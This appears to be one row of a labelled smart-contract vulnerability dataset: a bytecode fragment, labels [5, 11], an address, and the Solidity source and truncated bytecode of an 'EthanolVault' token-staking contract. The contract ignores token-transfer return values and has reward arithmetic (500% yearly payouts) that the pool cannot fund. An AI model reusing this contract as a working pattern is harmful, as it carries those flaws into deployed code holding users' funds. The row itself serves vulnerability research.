90fd5b6118f4611214565b15611939576040805162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b604482015290519081900360640190fd5b6004805460ff191660011790556040517f51f99560a97e6809d74ff4458c12419031c9b6d4d8eae6a6b26bf8386fb0c4fa90600090a1565b600061197c8361127f565b6001600160a01b0316336001600160a01b03161461199957600080fd5b6119a283612252565b156119ac57600080fd5b600083815260126020908152604091829020805460ff1916851515908117909155825186815291820152815133927f3fd63d9ca8dc693a1b9911e664951294721009a4f6239c862d6719a160a1edfc928290030190a250600192915050565b611a13612328565b6001600160a01b0316826001600160a01b03161415611a3157600080fd5b8060096000611a3e612328565b6001600160a01b03908116825260208083019390935260409182016000908120918716808252919093529120805460ff191692151592909217909155611a82612328565b6001600160a01b03167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c318360405180821515815260200191505060405180910390a35050565b611ad9611ad3612328565b836123a5565b611ae257600080fd5b611aeb82612252565b15611af557600080fd5b611b0184848484612b31565b50505050565b61112d81612b51565b60126020526000908152604090205460ff1681565b6000611b3083612252565b15611b3a57600080fd5b600083815260116020526040902054611b528461127f565b6001600160a01b0316336001600160a01b031614611b6f57600080fd5b6000848152601160209081526040918290208590558151868152600191810191909152815133927f3fd63d9ca8dc693a1b9911e664951294721009a4f6239c862d6719a160a1edfc928290030190a260008481526012602052604090205460ff161515600114611c3757600084815260126020908152604091829020805460ff191660011790558151838152908101859052808201869052905133917f8647dab5101cbe18afb171756e9753802f9d66725bf2346b079b8b1a275e0116919081900360600190a25b5060019392505050565b6001546001600160a01b03163314611c8a5760405162461bcd60e51b815260040180806020018281038252602f815260200180613882602f913960400191505060405180910390fd5b6064811115611cd7576040805162461bcd60e51b81526020600482015260146024820152732ab8103a37901898181031b7b6b6b4b9b9b4b7b760611b604482015290519081900360640190fd5b60038190556040805182815290517fb0bd0bcf4953b497ec896cb758888392f62fa6f295bfc13eee9b91900febb33d9181900360200190a150565b6060611d1d8261231b565b611d2657600080fd5b6000828152600a602090815260408083208054825160026001831615610100026000190190921691909104601f810185900485028201850190935282815292909190830182828015611db95780601f10611d8e57610100808354040283529160200191611db9565b820191906000526020600020905b815481529060010190602001808311611d9c57829003601f168201915b505050505090506000611dca61135a565b9050805160001415611dde57509050610dd4565b815115611e9f5780826040516020018083805190602001908083835b60208310611e195780518252601f199092019160209182019101611dfa565b51815160209384036101000a600019018019909216911617905285519190930192850191508083835b60208310611e615780518252601f199092019160209182019101611e42565b6001836020036101000a0380198251168184511680821785525050505050509050019250505060405160208183030381529060405292505050610dd4565b80611ea985612cb7565b6040516020018083805190602001908083835b60208310611edb5780518252601f199092019160209182019101611ebc565b51815160209384036101000a600019018019909216911617905285519190930192850191508083835b60208310611f235780518252601f199092019160209182019101611f04565b6001836020036101000a0380198251168184511680821785525050505050509050019250505060405160208183030381529060405292505050919050565b6001546001600160a01b03163314611faa5760405162461bcd60e51b815260040180806020018281038252602f815260200180613882602f913960400191505060405180910390fd5b611fb2610f72565b611ffa576040805162461bcd60e51b815260206004820152601460248201527314185d5cd8589b194e881b9bdd081c185d5cd95960621b604482015290519081900360640190fd5b6004805461ff00191690556040517f67592efac9ad4bc8a051561f7008dd48427e81ea709a2f61ad386fa68189b35c90600090a1565b60008381526012602052604090205460ff161561204c57600080fd5b610f12838383612774565b6001546001600160a01b031633146120a05760405162461bcd60e51b815260040180806020018281038252602f815260200180613882602f913960400191505060405180910390fd5b6120a8610f72565b156120ed576040805162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b604482015290519081900360640190fd5b6004805461ff0019166101001790556040517f6f941072281a73a3d1a56154741446c3752559d3c97ae913f09e25382677933590600090a1565b61213081612d92565b600061213b8261127f565b90503361214783612de7565b806001600160a01b0316826001600160a01b03167fef258f47a33a1cba99d81ea828f234ff5d6cb31034c0f79ecb5198f8c6d118f660116000878152602001908152602001600020548661219a88611d12565b6040518084815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b838110156121e35781810151838201526020016121cb565b50505050905090810190601f1680156122105780820380516001836020036101000a031916815260200191505b5094505050505060405180910390a3505050565b6001600160a01b03918216600090815260096020908152604080832093909416825291909152205460ff1690565b6000818152600e60205260408120805460ff161515600114612278576000915050610dd4565b50600192915050565b6001546000906001600160a01b031633146122cd5760405162461bcd60e51b815260040180806020018281038252602f815260200180613882602f913960400191505060405180910390fd5b6001600160a01b0382166123125760405162461bcd60e51b81526004018080602001828103825260458152602001806138d36045913960600191505060405180910390fd5b610fb4826126c8565b6000610fb4600583612f4f565b3390565b600081815260086020526040902080546001600160a01b0319166001600160a01b0384169081179091558190612361826126bb565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000610fb482612f5b565b60006123b08261231b565b6123b957600080fd5b60006123c4836126bb565b9050806001600160a01b0316846001600160a01b031614806123ff5750836001600160a01b03166123f484610e70565b6001600160a01b0316145b806117c257506001600160a01b0380821660009081526009602090815260408083209388168352929052205460ff16949350505050565b826001600160a01b0316612449826126bb565b6001600160a01b03161461245c57600080fd5b6001600160a01b03821661246f57600080fd5b61247a838383612f5f565b61248560008261232c565b6001600160a01b03831660009081526007602052604090206124a79082612f71565b506001600160a01b03821660009081526007602052604090206124ca9082612f7d565b506124d760058284612f89565b5080826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4505050565b6000610fb18383612f9f565b33612534826126bb565b6001600160a01b0316141561254857600080fd5b6000818152600e602052604090206002810154421061256657600080fd5b806001015434101561257757600080fd5b6000828152600f602052604090206001810154341161259557600080fd5b6001810154156125e457805460018201546040516101009092046001600160a01b03169182916108fc811502916000818181858888f193505050501580156125e1573d6000803e3d6000fd5b50505b6040805160608101825260018082523360208084019182523484860181815260008a8152600f84528790209551865494516001600160a01b031661010002610100600160a81b031991151560ff1990961695909517169390931785559151939092019290925582518681529081019190915281517f6fe605fcf3f0af8122bf2ca880af248fc500eed81268c984dc2f51f73d96fc66929181900390910190a1505050565b60008080806126978686613003565b9097909650945050505050565b80516126b790600b90602084019061378c565b5050565b6000610fb460058361307e565b6001546040516000916001600160a01b03808516929116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908490a350600180546001600160a01b0319166001600160a01b039290921691909117815590565b6126b782826040518060200160405280600081525061308a565b61274c8261231b565b61275557600080fd5b6000828152600a602090815260409091208251610f129284019061378c565b3361277e846126bb565b6001600160a01b03161461279157600080fd5b6000838152600e60205260409020805460ff161515600114156127b357600080fd5b604080516080810182526001808252336020808401828152848601898152428901606080880182815260008e8152600e87528a90209851895495516001600160a01b031661010002610100600160a81b031991151560ff199097169690961716949094178855915195870195909555905160029095019490945584518981529081018890528085019290925292517f5e4dbe799442580e0983dedea209e02d0497b6e3383338a9e1ac3aa117b491ec929181900390910190a250505050565b3361287c826126bb565b6001600160a01b03161461288f57600080fd5b6000818152600e60205260409020805460ff1615156001146128b057600080fd5b6000828152600f60205260409020805460ff161515600114156128d257600080fd5b60408051608081018252600080825233602080840191825283850183815260608501848152898552600e8352938690209451855493516001600160a01b031661010002610100600160a81b031991151560ff199095169490941716929092178455905160018401559051600290920191909155815185815291517fbea0e66c2d42b9131695ceea7d1aaa21b37e93070cde19c9b5fbd686a32592929281900390910190a1505050565b6000818152600e60205260409020805460ff16151560011461299c57600080fd5b806002015442106129ac57600080fd5b6000828152600f60205260409020805460ff1615156001146129cd57600080fd5b805461010090046001600160a01b031633146129e857600080fd5b805482546001600160a01b03610100928390048116929091041660006103e8612a0f610fba565b85600101540281612a1c57fe5b049050826001600160a01b03166108fc828660010154039081150290604051600060405180830381858888f19350505050158015612a5e573d6000803e3d6000fd5b506040516001600160a01b0383169082156108fc029083906000818181858888f19350505050158015612a95573d6000803e3d6000fd5b5060408051606081018252600080825260208083018281528385018381528b8452600f8352928590209351845491516001600160a01b031661010002610100600160a81b031991151560ff199093169290921716178355905160019290920191909155815188815291517f7687efe94566d20f7ebb8eff43bb57b2c014749dfd9ad179089e58c338ecdfa79281900390910190a1505050505050565b612b3c848484612436565b612b48848484846130aa565b611b0157600080fd5b6000818152600e602052604090206002810154421015612b7057600080fd5b805460ff161515600114612b8357600080fd5b6000612b8e836126bb565b6000848152600f60205260409020835481549293509091612bc6916001600160a01b0361010091829004811692919091041686612436565b60006103e8612bd3611880565b83600101540281612be057fe5b0490506000818360010154039050836001600160a01b03166108fc829081150290604051600060405180830381858888f19350505050158015612c27573d6000803e3d6000fd5b506001546040516001600160a01b0390911690819084156108fc029085906000818181858888f19350505050158015612c64573d6000803e3d6000fd5b50600184015460408051898152602081019290925280517fc87036081503cc1fd53dc456ee0c40aef140882f77b06b4b4b554fee2b60816a9281900390910190a1612cae87613212565b50505050505050565b606081612cdc57506040805180820190915260018152600360fc1b6020820152610dd4565b8160005b8115612cf457600101600a82049150612ce0565b60008167ffffffffffffffff81118015612d0d57600080fd5b506040519080825280601f01601f191660200182016040528015612d38576020820181803683370190505b50859350905060001982015b8315612d8957600a840660300160f81b82828060019003935081518110612d6757fe5b60200101906001600160f81b031916908160001a905350600a84049350612d44565b50949350505050565b60008181526012602052604090205460ff16612dad8261231b565b612db657600080fd5b80612dc057600080fd5b612dc98261127f565b6001600160a01b0316336001600160a01b031614156126b757600080fd5b600081815260116020526040902054341015612e0257600080fd5b6001546001600160a01b0316336000612e1a8461127f565b9050612e27818386612436565b60006103e8612e34611880565b6000878152601160205260409020540281612e4b57fe5b60008781526011602052604080822054905193909204935090839003916001600160a01b0385169183156108fc02918491818181858888f19350505050158015612e99573d6000803e3d6000fd5b506040516001600160a01b0386169083156108fc029084906000818181858888f19350505050158015612ed0573d6000803e3d6000fd5b50600086815260116020526040902054341115612f32576000868152601160205260408082205490516001600160a01b03871692349290920380156108fc0292909190818181858888f19350505050158015612f30573d6000803e3d6000fd5b505b50505060009283525050601260205260409020805460ff19169055565b6000610fb183836132d0565b5490565b612f6761126f565b15610f1257600080fd5b6000610fb183836132e8565b6000610fb183836133ae565b60006117c284846001600160a01b0385166133f8565b81546000908210612fe15760405162461bcd60e51b815260040180806020018281038252602281526020018061382e6022913960400191505060405180910390fd5b826000018281548110612ff057fe5b9060005260206000200154905092915050565b8154600090819083106130475760405162461bcd60e51b81526004018080602001828103825260228152602001806138b16022913960400191505060405180910390fd5b600084600001848154811061305857fe5b906000526020600020906002020190508060000154816001015492509250509250929050565b6000610fb1838361348f565b613094838361351f565b6130a160008484846130aa565b610f1257600080fd5b60006130be846001600160a01b03166135bd565b6130ca575060016117c2565b60006131d8630a85bd0160e11b6130df612328565b88878760405160240180856001600160a01b03168152602001846001600160a01b0316815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561314657818101518382015260200161312e565b50505050905090810190601f1680156131735780820380516001836020036101000a031916815260200191505b5095505050505050604051602081830303815290604052906001600160e01b0319166020820180516001600160e01b038381831617835250505050604051806060016040528060328152602001613850603291396001600160a01b03881691906135c3565b905060008180602001905160208110156131f157600080fd5b50516001600160e01b031916630a85bd0160e11b1492505050949350505050565b60408051608081018252600080825260208083018281528385018381526060808601858152888652600e85528786209651875494516001600160a01b03908116610100908102610100600160a81b031993151560ff19988916178416178a55945160018a810191909155925160029099019890985588519283018952868352828601878152838a018881529a8852600f9096529790952090518154945190961690910294151592909116919091179093169190911782559151910155565b60009081526001919091016020526040902054151590565b600081815260018301602052604081205480156133a4578354600019808301919081019060009087908390811061331b57fe5b906000526020600020015490508087600001848154811061333857fe5b60009182526020808320909101929092558281526001898101909252604090209084019055865487908061336857fe5b60019003818190600052602060002001600090559055866001016000878152602001908152602001600020600090556001945050505050610fb4565b6000915050610fb4565b60006133ba83836132d0565b6133f057508154600181810184556000848152602080822090930184905584548482528286019093526040902091909155610fb4565b506000610fb4565b60008281526001840160205260408120548061345d57505060408051808201825283815260208082018481528654600181810189556000898152848120955160029093029095019182559151908201558654868452818801909252929091205561154a565b8285600001600183038154811061347057fe5b906000526020600020906002020160010181905550600091505061154a565b6000818152600183016020526040812054806134f2576040805162461bcd60e51b815260206004820152601e60248201527f456e756d657261626c654d61703a206e6f6e6578697374656e74206b65790000604482015290519081900360640190fd5b83600001600182038154811061350457fe5b90600052602060002090600202016001015491505092915050565b6001600160a01b03821661353257600080fd5b61353b8161231b565b1561354557600080fd5b61355160008383612f5f565b6001600160a01b03821660009081526007602052604090206135739082612f7d565b5061358060058284612f89565b5060405181906001600160a01b038416906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b3b151590565b60606117c28484600085856135d7856135bd565b613628576040805162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015290519081900360640190fd5b600080866001600160a01b031685876040518082805190602001908083835b602083106136665780518252601f199092019160209182019101613647565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d80600081146136c8576040519150601f19603f3d011682016040523d82523d6000602084013e6136cd565b606091505b50915091506136dd8282866136e8565b979650505050505050565b606083156136f757508161154a565b8251156137075782518084602001fd5b8160405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015613751578181015183820152602001613739565b50505050905090810190601f16801561377e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b828054600181600116156101000203166002900490600052602060002090601f0160209004810192826137c25760008555613808565b82601f106137db57805160ff1916838001178555613808565b82800160010185558215613808579182015b828111156138085782518255916020019190600101906137ed565b50613814929150613818565b5090565b5b80821115613814576000815560010161381956fe456e756d657261626c655365743a20696e646578206f7574206f6620626f756e64734552433732313a207472616e7366657220746f206e6f6e20455243373231526563656976657220696d706c656d656e7465724f776e61626c65203a2046756e6374696f6e2063616c6c656420627920756e617574686f72697a656420757365722e456e756d657261626c654d61703a20696e646578206f7574206f6620626f756e64734f776e61626c652f7472616e736665724f776e657273686970203a2063616e6e6f74207472616e73666572206f776e65727368697020746f207a65726f2061646472657373a2646970667358221220e78041ed8c6ad1a792d313b4bf44529ab65025cda2fd7128d9265eca56629e9c64736f6c63430007060033 | [
5,
11
] |
0xf34f69fb72b7b6ccdbda906ad58af1ebfaa76c42 | // "SPDX-License-Identifier: MIT"
pragma solidity 0.7.3;
abstract contract Context {
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract EthanolVault is Ownable {
using SafeMath for uint;
IERC20 public EthanolAddress;
address public admin;
uint public rewardPool;
uint public totalSharedRewards;
mapping(address => uint) private rewardsEarned;
mapping(address => Savings) private _savings;
struct Savings {
address user;
uint startTime;
uint duration;
uint amount;
}
event _LockSavings(
address indexed stakeholder,
uint indexed stake,
uint indexed unlockTime
);
event _UnLockSavings(
address indexed stakeholder,
uint indexed value,
uint indexed timestamp
);
event _RewardShared(
uint indexed timestamp,
uint indexed rewards
);
constructor(IERC20 _EthanolAddress) {
EthanolAddress = _EthanolAddress;
admin = _msgSender();
}
function shareReward(address[] memory _accounts, uint[] memory _rewards) public {
require(_msgSender() == admin, "Caller is not a validator");
uint _totalRewards = 0;
for(uint i = 0; i < _accounts.length; i++) {
address _user = _accounts[i];
uint _reward = _rewards[i];
_totalRewards = _totalRewards.add(_reward);
rewardsEarned[_user] = rewardsEarned[_user].add(_reward);
}
totalSharedRewards = totalSharedRewards.add(_totalRewards);
EthanolAddress.transferFrom(_msgSender(), address(this), _totalRewards);
emit _RewardShared(block.timestamp, _totalRewards);
}
function checkRewards(address _user) public view returns(uint) {
return rewardsEarned[_user];
}
function withdrawRewards(uint _amount) public {
require(rewardsEarned[_msgSender()] > 0, "You have zero rewards to claim");
rewardsEarned[_msgSender()] = rewardsEarned[_msgSender()].sub(_amount);
uint _taxedAmount = _amount.mul(10).div(100);
uint _totalBalance = _amount.sub(_taxedAmount);
rewardPool = rewardPool.add(_taxedAmount);
EthanolAddress.transfer(_msgSender(), _totalBalance);
}
function monthlySave(uint _numberOfMonths, uint _amount) public {
uint _numberOfDays = _numberOfMonths.mul(31 days);
timeLock(_numberOfDays, _amount);
}
function yearlySave(uint _amount) public {
uint _numberOfDays = 365 days;
timeLock(_numberOfDays, _amount);
}
function timeLock(uint _duration, uint _amount) private {
require(_savings[_msgSender()].amount == 0, "Funds has already been locked");
uint _taxAmount = _amount.mul(4).div(100);
uint _balance = _amount.sub(_taxAmount);
EthanolAddress.transferFrom(_msgSender(), address(this), _amount);
rewardPool = rewardPool.add(_taxAmount);
_savings[_msgSender()] = Savings(
_msgSender(),
block.timestamp,
_duration,
_balance
);
emit _LockSavings(_msgSender(), _balance, block.timestamp);
}
function releaseTokens() public {
require(
block.timestamp > _savings[_msgSender()].startTime.add(_savings[_msgSender()].duration),
"Unable to withdraw funds while tokens is still locked"
);
require(_savings[_msgSender()].amount > 0, "You have zero savings");
uint _amount = _savings[_msgSender()].amount;
_savings[_msgSender()].amount = 0;
if(_savings[_msgSender()].duration >= 365 days) {
uint _rewards = _amount.mul(500).div(100);
_amount = _amount.add(_rewards);
} else {
uint _rewards = _amount.mul(40).div(100);
uint _numberOfMonths = _savings[_msgSender()].duration.div(31 days);
_rewards = _rewards.mul(_numberOfMonths);
_amount = _amount.add(_rewards);
}
rewardPool = rewardPool.sub(_amount);
EthanolAddress.transfer(_msgSender(), _amount);
emit _UnLockSavings(_msgSender(), _amount, block.timestamp);
}
function getLockedTokens(address _user) external view returns(uint) {
return _savings[_user].amount;
}
receive() external payable {
revert("You can not send token directly to the contract");
}
} | 0x6080604052600436106100e15760003560e01c80639342c8f41161007f578063b7f6d27611610059578063b7f6d276146104b4578063ce750581146104f5578063f2fde38b14610520578063f851a4401461057157610137565b80639342c8f41461041d578063a66f96c014610458578063a96f86681461049d57610137565b80636b2d95d4116100bb5780636b2d95d414610207578063715018a61461026c5780638da5cb5b146102835780638e01bfe7146102c457610137565b8063046ff0d31461013c57806315bf3fdc146101a157806366666aa9146101dc57610137565b36610137576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602f815260200180611ba0602f913960400191505060405180910390fd5b600080fd5b34801561014857600080fd5b5061018b6004803603602081101561015f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506105b2565b6040518082815260200191505060405180910390f35b3480156101ad57600080fd5b506101da600480360360208110156101c457600080fd5b81019080803590602001909291905050506105fb565b005b3480156101e857600080fd5b506101f1610612565b6040518082815260200191505060405180910390f35b34801561021357600080fd5b506102566004803603602081101561022a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610618565b6040518082815260200191505060405180910390f35b34801561027857600080fd5b50610281610664565b005b34801561028f57600080fd5b506102986107ea565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156102d057600080fd5b5061041b600480360360408110156102e757600080fd5b810190808035906020019064010000000081111561030457600080fd5b82018360208201111561031657600080fd5b8035906020019184602083028401116401000000008311171561033857600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561039857600080fd5b8201836020820111156103aa57600080fd5b803590602001918460208302840111640100000000831117156103cc57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610813565b005b34801561042957600080fd5b506104566004803603602081101561044057600080fd5b8101908080359060200190929190505050610b16565b005b34801561046457600080fd5b5061049b6004803603604081101561047b57600080fd5b810190808035906020019092919080359060200190929190505050610dad565b005b3480156104a957600080fd5b506104b2610dd6565b005b3480156104c057600080fd5b506104c96112c4565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561050157600080fd5b5061050a6112ea565b6040518082815260200191505060405180910390f35b34801561052c57600080fd5b5061056f6004803603602081101561054357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112f0565b005b34801561057d57600080fd5b506105866114fb565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60006301e13380905061060e8183611521565b5050565b60035481565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301549050919050565b61066c61186f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461072c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661085461186f565b73ffffffffffffffffffffffffffffffffffffffff16146108dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f43616c6c6572206973206e6f7420612076616c696461746f720000000000000081525060200191505060405180910390fd5b6000805b83518110156109d35760008482815181106108f857fe5b60200260200101519050600084838151811061091057fe5b6020026020010151905061092d818561187790919063ffffffff16565b935061098181600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461187790919063ffffffff16565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505080806001019150506108e1565b506109e98160045461187790919063ffffffff16565b600481905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd610a3561186f565b30846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b158015610aa757600080fd5b505af1158015610abb573d6000803e3d6000fd5b505050506040513d6020811015610ad157600080fd5b81019080805190602001909291905050505080427fe403a3279aa4b132750749c075363356048a88f2ecd577989ec504ea9095ed3160405160405180910390a3505050565b600060056000610b2461186f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411610bd2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f596f752068617665207a65726f207265776172647320746f20636c61696d000081525060200191505060405180910390fd5b610c2b8160056000610be261186f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118ff90919063ffffffff16565b60056000610c3761186f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000610c9e6064610c90600a8561194990919063ffffffff16565b6119cf90919063ffffffff16565b90506000610cb582846118ff90919063ffffffff16565b9050610ccc8260035461187790919063ffffffff16565b600381905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb610d1861186f565b836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610d6c57600080fd5b505af1158015610d80573d6000803e3d6000fd5b505050506040513d6020811015610d9657600080fd5b810190808051906020019092919050505050505050565b6000610dc56228de808461194990919063ffffffff16565b9050610dd18183611521565b505050565b610e7b60066000610de561186f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015460066000610e2f61186f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015461187790919063ffffffff16565b4211610ed2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526035815260200180611c166035913960400191505060405180910390fd5b600060066000610ee061186f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206003015411610f91576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f596f752068617665207a65726f20736176696e6773000000000000000000000081525060200191505060405180910390fd5b600060066000610f9f61186f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301549050600060066000610fed61186f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301819055506301e133806006600061103f61186f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154106110c95760006110ac606461109e6101f48561194990919063ffffffff16565b6119cf90919063ffffffff16565b90506110c1818361187790919063ffffffff16565b915050611184565b60006110f260646110e460288561194990919063ffffffff16565b6119cf90919063ffffffff16565b905060006111556228de806006600061110961186f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546119cf90919063ffffffff16565b905061116a818361194990919063ffffffff16565b915061117f828461187790919063ffffffff16565b925050505b611199816003546118ff90919063ffffffff16565b600381905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6111e561186f565b836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561123957600080fd5b505af115801561124d573d6000803e3d6000fd5b505050506040513d602081101561126357600080fd5b810190808051906020019092919050505050428161127f61186f565b73ffffffffffffffffffffffffffffffffffffffff167f9c2b99dd609b36657c148337230c5ca548931a05e0e6fdaa0ad392df5ef8eab160405160405180910390a450565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60045481565b6112f861186f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146113b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561143e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180611bcf6026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006006600061152f61186f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154146115e0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f46756e6473206861732